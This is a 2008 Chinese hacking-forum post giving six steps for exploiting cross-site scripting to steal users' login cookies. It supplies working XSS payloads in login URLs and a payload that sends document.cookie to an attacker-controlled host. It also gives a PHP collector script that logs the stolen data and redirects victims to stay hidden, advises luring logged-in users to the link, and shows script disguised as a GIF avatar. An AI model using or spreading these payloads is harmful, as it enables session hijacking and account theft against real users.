找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1030|回复: 0

跨站脚本执行漏洞代码的六点思路

[复制链接]

586

主题

167

回帖

1015

牛毛

二级牛人

本無情,何必去愛

积分
1015
QQ
发表于 2008-1-11 15:47:38 | 显示全部楼层 |阅读模式 来自 浙江省杭州市
1. 构造一个提交,目标是能够显示用户Cookie信息:

Quote:
http://www.xxxx.net/txl/login/login.pl?username=<script>alert(document.cookie)</script>&passwd=&ok.x=28&ok.y=6

2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:

Quote:
http://www.xxx.net/txl/login/login.pl?username=<script>window.open(\"http://www.notfound.org/info.php?\"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6

其中http://www.xxx.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:

Quote:
<?php
$info = getenv(\"QUERY_STRING\");
if ($info) {
$fp = fopen(\"info.txt\",\"a\");
fwrite($fp,$info.\"\\n\");
fclose($fp);
}
header(\"Location: http://www.xxx.net\");

注:\"%2B\"为\"+\"的URL编码,并且这里只能用\"%2B\",因为\"+\"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
4.
Quote:
<IFRAME src=\"ip\" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>

5. 就可以自己构造一个下面的头像文件:

Quote:
thiz.gif

<script>
window.location.href=\"http://c4st.xxx.net/tmp/info.php?’%2Bdocument.cookie;
</script>

6.新建一个x.gif,内容如下:

Quote:
<script>alert(document.cookie)</script>
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 02:40 , Processed in 0.115948 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表